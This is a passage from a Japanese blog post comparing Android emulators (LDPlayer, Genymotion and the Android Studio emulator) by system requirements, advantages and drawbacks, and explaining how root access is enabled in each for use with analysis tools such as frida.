そうです。実はこのツールのほとんどは端末のroot権限を必要とします。
勿論、必要ないという方には関係ないかもしれませんが…。

そんな時に便利なのが「LDPlayer」です。

必要最低スペック

x86/x86_64プロセッサー(IntelまたはAMD CPU)
WinXP SP3 / Win7 / Win8 / Win8.1 / Win10
OpenGL 2.0的Windows DirectX 11 / Graphic驅動程式
・最低4GBのシステムメモリ (RAM)
・最低36GBのハードディスク空き容量
・CPU仮想化機能(Intel VT-x / AMD-V)はBIOSで有効にする必要があります

お気づきの方もいるかと思いますが、CPU仮想化機能(Intel VT-x / AMD-V)とある通り、WindowsHyper-Vの機能を必要とします。

よってWSL等をインストールしている方は併用できません。

メリット

  • root権限の切り替えが可能(非root化も可能)
  • 1つのOSバージョンのみなので容量は少ない

デメリット

  • Android7.1 / 5.1 しか入れられない
  • 広告がある

Genymotion

f:id:daiki0508:20210426171736p:plain

上記の「LDPlayer」のデメリットを解消するエミュレータがこちらの「Genymotion」です。
また、私の環境の場合ではfrida等のツールがAndroid7のバージョンだとクラッシュしたりしたので入れました。(後述のデメリットの点から必要な時以外はLDPlayerを使ってます)

必要最低スペック

Windows Vista以降のOS(32bit/64bitのどちらにも対応)
VT-x または AMD-V
OpenGL 2.0
ハードディスクに400MB以上の空き
RAM 2GB以上

勿論、このエミュレータIntel VT-x / AMD-Vとある通り、WindowsHyper-Vの機能を必要とします。

よってWSL等をインストールしている方は併用できません。

メリット

  • Android4.4 ~ 10.0までの幅広いバージョンを入れられる
  • root化が可能
  • 広告が無い

デメリット

  • セットアップが大変
  • VirtualBoxが必須
  • rootと非rootが切り替えられない
  • 起動直後は少し重い
  • 種類の異なる多くのAndroidOSを入れていくと容量が増えていく
  • 無料版だと機能が一部制限

エミュレータのroot化

ここからは紹介するエミュレータで紹介したエミュレータをroot化する方法についてです。

Android Studio 標準搭載エミュレータ

はい、こちらはroot化出来ないですね。

LDPlayer

まずエミュレータを起動しましょう。

f:id:daiki0508:20210426172032p:plain

起動したら上記の画像の赤く囲んでいる部分を選択してください。
LDPlayerの設定画面が開かれます。

f:id:daiki0508:20210426172105p:plain

次にその設定画面から「他の設定」をクリックします。

f:id:daiki0508:20210426172135p:plain

そうすると、赤く囲んである通り「ROOT権限」の設定の有効化、無効化の切り替えがあるので、無効になっていたら有効にしましょう。(いつでも切り替えられます)

ちなみに「ADBデバッグ」の設定も「ローカルデバッグ」にしておきましょう。
これでAndroidStudioを用いたログの取得やデバッグ、adbの使用が可能になります。

Genymotion

こちらのエミュレータ、昔は「Genymotionconfigration」というアプリがセットアップした端末内に入っていたのですが、最近では無くなったようです。

そのため、rootと非rootの切り替えは出来なくなりました。
(SuperSUを入れれば問題ないらしいが正直、面倒くさい)

しかし、切り替えが出来なくなっただけでroot化は出来ます。
その手法とは?

…はい、実はエミュレータを起動した時点でroot化されています。
なので特にすることは無いです。

まとめ

今回は私が持っているエミュレータの機能を整理するためにこの記事を書きました。
なので、詳しいセットアップの方法が知りたかったという方はごめんなさい…。

ちなみに私は3つのエミュレータを用途によって使い分けている感じですね。

また、今回記事の中で出てきた「frida」等のツールについてはまたの機会に!!

引用・参考記事

https://smartasw.com/archives/android%E3%82%A8%E3%83%9F%E3%83%A5%E3%83%AC%E3%83%BC%E3%82%BF6%E7%A8%AE%E3%82%92%E4%B8%80%E8%A6%A7%E6%AF%94%E8%BC%83-%E7%94%A8%E9%80%94%E5%88%A5%E3%81%8A%E3%81%99%E3%81%99%E3%82%81%EF%BC%BB%E3%83%99.html

https://jp.ldplayer.net/

https://www.genymotion.com/

https://prtimes.jp/main/html/rd/p/000000013.000035043.html#:~:text=Android%E3%82%A8%E3%83%9F%E3%83%A5%E3%83%AC%E3%83%BC%E3%82%BF%E3%83%BC%E3%81%A8%E3%81%AF%E3%80%81%E3%83%91%E3%82%BD%E3%82%B3%E3%83%B3,OS%E3%81%8C%E5%BF%85%E8%A6%81%E3%81%A8%E3%81%AA%E3%82%8B%E3%80%82

https://www.google.com/url?sa=i&url=https%3A%2F%2Fdeveloper.android.com%2Fstudio%2Frun%2Femulator%3Fhl%3Dja&psig=AOvVaw22GejVpwfoNsEqxxEfYbqt&ust=1619510955265000&source=images&cd=vfe&ved=0CAMQjB1qGAoTCPDb7Oq6m_ACFQAAAAAdAAAAABCsAQ

https://neet-rookie.hatenablog.com/entry/2019/08/20/144234